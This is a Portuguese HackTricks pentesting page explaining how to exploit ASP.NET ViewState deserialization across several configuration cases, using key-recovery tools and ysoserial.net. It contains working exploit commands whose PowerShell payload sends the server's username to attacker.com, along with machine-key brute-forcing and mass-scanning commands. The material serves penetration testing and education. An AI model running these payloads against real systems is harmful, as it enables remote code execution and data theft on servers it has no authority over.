hacktricks/pentesting-web/deserialization/exploiting-__viewstate-parameter.md
2023-06-06 18:56:34 +00:00

216 lines
17 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Explorando \_\_VIEWSTATE sem conhecer os segredos
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="original">
Se você está interessado em **carreira de hacking** e hackear o impossível - **estamos contratando!** (_fluência em polonês escrito e falado é necessária_).
{% embed url="https://www.stmcyber.com/careers" %}
## O que é ViewState
**ViewState** é o método que o framework ASP.NET usa por padrão para **preservar valores de página e controle entre páginas da web**. Quando o HTML da página é renderizado, o estado atual da página e os valores que precisam ser mantidos durante o postback são serializados em strings codificadas em base64 e saída nos campos ocultos ou campos ViewState.\
As seguintes propriedades ou combinação de propriedades se aplicam às informações do ViewState:
* Base64
* Pode ser definido usando o atributo EnableViewStateMac e ViewStateEncryptionMode definido como false
* Base64 + MAC (Message Authentication Code) Habilitado
* Pode ser definido usando o atributo EnableViewStateMac definido como true
* Base64 + Criptografado
* Pode ser definido usando o atributo viewStateEncryptionMode definido como true
## **Casos de Teste**
![](<../../.gitbook/assets/image (309) (2).png>)
### Caso de Teste: 1 EnableViewStateMac=false e viewStateEncryptionMode=false
Também é possível desativar completamente o ViewStateMAC definindo a chave de registro `AspNetEnforceViewStateMac` como zero em:
```
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
```
**Identificando Atributos ViewState**
Você pode tentar identificar se o ViewState está protegido por MAC capturando uma solicitação contendo esse parâmetro com o BurpSuite:
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/1.0.png)
Se o MAC não for usado para proteger o parâmetro, você pode explorá-lo usando o [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net).
```
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"
```
### Caso de teste 1.5 - Como o teste 1, mas o cookie ViewState não é enviado pelo servidor
Os desenvolvedores podem **remover o ViewState** para que ele não faça parte de uma solicitação HTTP (o usuário não receberá esse cookie).\
Pode-se assumir que, se o **ViewState não estiver presente**, a implementação estará **segura** contra possíveis vulnerabilidades decorrentes da desserialização do ViewState.\
No entanto, esse não é o caso. Se **adicionarmos o parâmetro ViewState** ao corpo da solicitação e enviarmos nossa carga útil serializada criada usando o ysoserial, ainda poderemos obter a **execução de código** como mostrado no **Caso 1**.
### Caso de teste: 2 - .Net < 4.5 e EnableViewStateMac=true & ViewStateEncryptionMode=false
Para **ativar o MAC do ViewState** para uma **página específica**, precisamos fazer as seguintes alterações em um arquivo aspx específico:
```bash
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>
```
Também podemos fazê-lo para a aplicação **como um todo** configurando-o no arquivo **web.config**, como mostrado abaixo:
```markup
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off" />
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac="true" />
</system.web>
</configuration>
```
Como o parâmetro está protegido por MAC, desta vez, para executar com sucesso o ataque, primeiro precisamos saber qual chave foi usada. Neste caso, o BurpSuite nos informará que o parâmetro está protegido por MAC:
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/2.0.png)
Você pode tentar usar [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) para encontrar a chave usada.
```
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"
--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value
```
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/2.1.png)
O **Badsecrets** é outra ferramenta que pode identificar machineKeys conhecidos. É escrito em Python, então, ao contrário do Blacklist3r, não há dependência do Windows. Para viewstates .NET, há um utilitário "python blacklist3r", que é a maneira mais rápida de usá-lo.
Ele pode ser fornecido com o viewstate e o gerador diretamente:
```
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE
```
Ou, pode se conectar diretamente à URL de destino e tentar extrair o viewstate do HTML:
```
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx
```
Para procurar por viewstates vulneráveis em escala, em conjunto com a enumeração de subdomínios, o módulo `badsecrets` do [**BBOT**](exploiting-\_\_viewstate-parameter.md) pode ser utilizado:
```
bbot -f subdomain-enum -m badsecrets -t evil.corp
```
Se você tiver sorte e encontrar a chave, poderá prosseguir com o ataque usando o [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**:**
```
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
--generator = {__VIWESTATEGENERATOR parameter value}
```
Nos casos em que o parâmetro `_VIEWSTATEGENERATOR` **não é enviado** pelo servidor, você **não precisa** **fornecer** o parâmetro `--generator`, **mas estes sim**:
```bash
--apppath="/" --path="/hello.aspx"
```
### Caso de teste: 3 - .Net < 4.5 e EnableViewStateMac=true/false e ViewStateEncryptionMode=true
Neste caso, o Burp não encontra se o parâmetro está protegido com MAC porque não reconhece os valores. Então, o valor provavelmente está criptografado e você **precisará da Machine Key para criptografar sua carga útil** para explorar a vulnerabilidade.
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/3.0.png)
**Neste caso, o módulo** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **está em desenvolvimento...**
Antes do .NET 4.5, o ASP.NET pode **aceitar** um parâmetro \_`__VIEWSTATE`\_ **não criptografado** dos usuários, **mesmo** se **`ViewStateEncryptionMode`** tiver sido definido como _**Always**_. O ASP.NET **apenas verifica** a **presença** do parâmetro **`__VIEWSTATEENCRYPTED`** na solicitação. **Se alguém remover este parâmetro e enviar a carga útil não criptografada, ela ainda será processada.**
Portanto, se a Machinekey for conhecida (por exemplo, por meio de um problema de travessia de diretório), o comando [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) usado no **Caso 2**, pode ser usado para executar RCE usando a vulnerabilidade de deserialização do ViewState.
* Remova o parâmetro `__VIEWSTATEENCRYPTED` da solicitação para explorar a vulnerabilidade de deserialização do ViewState, caso contrário, retornará um erro de validação de MAC do ViewState e a exploração falhará, como mostrado na Figura:
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/3.1.png)
### Caso de teste: 4 - .Net >= 4.5 e EnableViewStateMac=true/false e ViewStateEncryptionMode=true/false, exceto ambos os atributos como false
Podemos forçar o uso do framework ASP.NET especificando o parâmetro abaixo dentro do arquivo web.config, conforme mostrado abaixo.
```markup
<httpRuntime targetFramework="4.5" />
```
Alternativamente, isso pode ser feito especificando a opção abaixo dentro do parâmetro `machineKey` do arquivo web.config.
```bash
compatibilityMode="Framework45"
```
Assim como no caso anterior, o Burp não identifica se a solicitação está protegida por MAC porque o **valor está criptografado**. Portanto, para enviar uma **carga útil válida, o atacante precisa da chave**.
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/4.0.png)
Você pode tentar usar o [**Blacklist3r (AspDotNetWrapper.exe)**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) para encontrar a chave sendo usada:
```
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"
--encrypteddata = {__VIEWSTATE parameter value}
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}
```
Para uma descrição mais detalhada de IISDirPath e TargetPagePath [consulte aqui](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/4.1.png)
Ou, com [**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) (com um valor gerado):
```
cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415
```
Uma vez que uma chave de máquina válida é identificada, **o próximo passo é gerar uma carga útil serializada usando** [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
```
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
```
Se você tiver o valor de `__VIEWSTATEGENERATOR`, pode tentar **usar** o parâmetro `--generator` com esse valor e **omitir** os parâmetros `--path` e `--apppath`.
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/4.2.png)
Se a vulnerabilidade de desserialização do ViewState for explorada com sucesso, um servidor controlado pelo atacante receberá uma solicitação fora de banda contendo o nome de usuário. [PoC de exploração bem-sucedida](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC)
### Caso de teste 6 - ViewStateUserKeys está sendo usado
A propriedade **ViewStateUserKey** pode ser usada para **defender** contra um **ataque CSRF**. Se uma chave desse tipo foi definida na aplicação e tentarmos gerar a carga útil do **ViewState** com os métodos discutidos até agora, a **carga útil não será processada pela aplicação**.\
Você precisa usar mais um parâmetro para criar corretamente a carga útil:
```bash
--viewstateuserkey="randomstringdefinedintheserver"
```
### Resultado de uma exploração bem-sucedida <a href="#poc" id="poc"></a>
Para todos os casos de teste, se o payload ViewState YSoSerial.Net funcionar **com sucesso**, o servidor responde com "Erro interno do servidor 500" tendo o conteúdo da resposta "As informações de estado são inválidas para esta página e podem estar corrompidas" e obtemos a solicitação OOB conforme mostrado nas figuras abaixo:
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/5.0POC-of-Seccuessful-exploitation.png)
solicitação out of band com o nome de usuário atual
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/5.1POC-of-Seccuessful-exploitation.png)
## Referências
* [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
* [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)\\
* [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
* [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="original">
Se você está interessado em uma **carreira de hacking** e quer hackear o que não pode ser hackeado - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
{% embed url="https://www.stmcyber.com/careers" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>